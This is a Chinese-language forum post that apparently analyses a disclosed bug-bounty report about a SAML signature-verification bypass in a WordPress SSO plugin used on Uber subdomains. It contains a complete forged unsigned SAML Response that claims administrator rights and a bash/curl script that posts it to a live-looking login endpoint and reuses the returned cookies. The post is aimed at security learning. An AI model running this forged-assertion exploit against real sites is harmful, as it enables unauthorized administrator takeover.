找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2965

积分

0

好友

413

主题
发表于 12 小时前 | 查看: 1| 回复: 0

案例背景

  • 目标:Uber旗下多个WordPress子站(eng.uber.com、newsroom.uber.com等)
  • 漏洞类型:SAML SSO认证绕过
  • 赏金:$10,000
  • 发现者:Jouko Pynnönen
  • 报告编号:HackerOne #136169

Uber在多个子域名上部署了WordPress站点,用于工程博客、新闻发布等用途。为了方便员工登录,这些站点集成了OneLogin SAML SSO插件,员工可以通过公司统一身份认证系统登录,而不需要单独记住每个站点的密码。


背景知识

什么是单点登录(SSO)

SSO(Single Sign-On,单点登录) 解决的是这个问题:

一家公司有很多内部系统(邮箱、OA、Wiki、代码仓库…),员工不想每个系统都记一套账号密码。

SSO的方案是:登录一次,到处通行

员工只需要在一个统一的地方登录一次,就能访问所有接入的系统。

你很可能已经用过类似的东西:

  • 用微信登录其他App
  • 用Google账号登录第三方网站
  • 公司内网登录一次就能访问所有内部系统

什么是SAML

SAML(Security Assertion Markup Language,安全断言标记语言) 是实现SSO的一种协议,主要用于企业环境。

简单理解:SAML就是一套“规矩”,规定了“怎么证明你是你”这件事应该怎么做、数据格式是什么样的。

它基于XML格式,虽然看起来有点老派,但在企业级应用中非常普遍,很多大公司的内部系统都用SAML做身份认证,是网络/系统安全认证的重要一环。

三个角色:用户、SP、IdP

SAML登录涉及三方:

角色 全称 是什么 例子
用户 User 要登录的人
SP Service Provider(服务提供商) 你想访问的应用 WordPress博客、Jira、Confluence
IdP Identity Provider(身份提供商) 负责验证身份的系统 OneLogin、Okta、Azure AD、企业自建的统一认证系统

打个比方:

  • 你要进一栋大楼(SP)
  • 门卫不认识你,让你去物业中心(IdP)开证明
  • 物业中心核实你的身份后,给你开了一张带公章的证明信
  • 你拿着证明信回来,门卫验证公章是真的,就放你进去了

SAML登录的完整流程

SAML单点登录标准流程示意图,展示了用户、服务提供商(SP)与身份提供商(IdP)之间的八个交互步骤

安全机制的核心:数字签名

整个流程的安全性依赖于第⑦步的签名验证

SAML Response里会包含一个数字签名,原理类似于:

  • IdP有一把“私钥”(只有IdP自己知道)
  • IdP用私钥对Response内容进行签名
  • SP有IdP的“公钥”(公开的)
  • SP用公钥验证签名是否有效

这就像公章一样:

  • 只有物业中心有真公章(私钥)
  • 门卫知道真公章长什么样(公钥)
  • 门卫通过验证公章来确认证明信是真的

如果没有签名验证会怎样? 任何人都可以伪造一张“证明信”,声称自己是管理员,门卫无法分辨真假。


漏洞原理

问题出在哪

研究员发现OneLogin SAML SSO插件的签名验证逻辑存在致命缺陷。来看关键代码:

// 文件:Response.php - isValid() 函数

// 查找Response中的签名元素
$signedElements = $this->getSignedElements();

// 问题在这里:只有当签名元素存在时才验证
if (!empty($signedElements)) {
// 执行签名验证逻辑
$this->validateSignature();
}

// 如果$signedElements为空,直接跳过验证!

为什么这是错误的

正确的逻辑应该是:

如果没有签名 → 拒绝请求
如果有签名但无效 → 拒绝请求
如果有签名且有效 → 允许登录

实际的逻辑变成了:

如果没有签名 → 跳过验证 → 允许登录 ❌
如果有签名但无效 → 拒绝请求
如果有签名且有效 → 允许登录

本质问题:把“签名验证”做成了可选项,而不是强制项。攻击者只需要构造一个不包含 <ds:Signature> 标签的SAML Response,就能完全绕过认证。


利用过程

Step 1: 确认目标使用SAML SSO

访问目标WordPress站点的登录页面,观察是否有SSO登录选项,或者直接访问插件的ACS端点:

https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs

如果返回错误信息而不是404,说明插件已安装。

Step 2: 构造伪造的SAML Response

创建一个XML文件,包含想要伪造的用户信息,关键是不包含任何签名标签

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_response_id_12345"
Version="2.0"
IssueInstant="2024-01-01T00:00:00Z"
Destination="https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs">

<saml:Issuer>https://app.onelogin.com/saml/metadata/123456</saml:Issuer>

<!-- 注意:这里故意不包含 <ds:Signature> 标签 -->

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

<saml:Assertion Version="2.0" ID="_assertion_id_67890">
<saml:Issuer>https://app.onelogin.com/saml/metadata/123456</saml:Issuer>

<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                admin@uber.com
</saml:NameID>
</saml:Subject>

<saml:Conditions NotBefore="2024-01-01T00:00:00Z"
NotOnOrAfter="2099-12-31T23:59:59Z">
</saml:Conditions>

<!-- 伪造的用户属性 -->
<saml:AttributeStatement>
<!-- 用户名:指定为admin -->
<saml:Attribute Name="User.Username">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>

<!-- 邮箱 -->
<saml:Attribute Name="User.email">
<saml:AttributeValue>admin@uber.com</saml:AttributeValue>
</saml:Attribute>

<!-- 角色:指定为Administrator -->
<saml:Attribute Name="memberOf">
<saml:AttributeValue>Administrator</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

Step 3: 编码并发送请求

SAML Response需要Base64编码后通过POST发送:

#!/bin/bash

# 将XML文件Base64编码
SAML_RESPONSE=$(base64 -w 0 response.xml)

# 发送POST请求到ACS端点
curl -v 'https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs' \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    -d "RelayState=/wp-admin/" \
    --data-urlencode "SAMLResponse=${SAML_RESPONSE}" \
    -c cookies.txt  # 保存返回的Cookie

# 使用获取的Cookie访问后台
curl -b cookies.txt 'https://newsroom.uber.com/wp-admin/'

Step 4: 验证结果

如果利用成功,服务器会:

  1. 返回有效的WordPress认证Cookie
  2. 如果用户不存在且开启了自动配置(provisioning),会自动创建该用户
  3. 用户角色按照SAML Response中指定的 memberOf 属性设置

研究员成功获取了管理员权限,可以:

  • 访问WordPress后台
  • 发布/修改/删除文章
  • 安装插件(可能进一步RCE)
  • 管理其他用户

漏洞影响

危害等级:严重 (Critical)

具体危害

  1. 任意账户伪造:攻击者可以伪造任意用户身份登录,包括管理员
  2. 零交互攻击:不需要受害者点击任何链接,纯服务端攻击
  3. 隐蔽性强
    • 不会触发密码错误告警
    • 不需要钓鱼获取凭据
    • 日志中看起来像正常的SSO登录
  4. 权限提升:直接获取最高权限,无需逐步提权
  5. 横向影响:Uber多个子站使用相同插件,一个PoC通杀

影响范围

  • eng.uber.com
  • newsroom.uber.com
  • 其他使用该插件的WordPress站点
  • 理论上所有使用该版本OneLogin SAML插件的站点都受影响

案例启示

漏洞本质

这个漏洞的本质是“可选安全机制”——开发者把签名验证实现成了“有就验,没有就跳过”,而不是“必须有且必须对”。

这种模式在安全领域非常危险,类似的例子还有:

  • JWT的 alg:none 绕过(算法字段设为none跳过验证)
  • 某些API的签名参数可选(不传sign参数就不验证)

可复用的挖洞思路

  1. 测试认证流程的边界情况:不只测试正常流程,要测试缺少某些字段时的行为
  2. 关注第三方插件/库:它们往往没有主应用审计严格
  3. XML相关的认证要重点关注:SAML、SOAP等XML协议历史上漏洞很多,是安全/渗透/逆向测试的重点方向。

类似漏洞场景

  • OAuth/OIDC实现中的state参数校验
  • JWT库的算法混淆攻击
  • API网关的签名验证逻辑
  • 支付回调的签名校验

这是一个典型的逻辑缺陷导致的高危漏洞,开发者往往容易在边界条件处理上犯错误。对于安全从业者来说,理解协议标准并深入测试其实现,是发现此类漏洞的关键。在云栈社区安全/渗透/逆向 板块,你可以找到更多关于协议安全分析和实战案例的深度讨论。




上一篇:飞牛fnOS路径穿越漏洞(CVE待定)分析:NAS数据泄露风险与官方修复方案
下一篇:Vue3与Vue2深度源码对比:从Proxy响应式到编译优化架构演进
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-4 21:40 , Processed in 0.369951 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表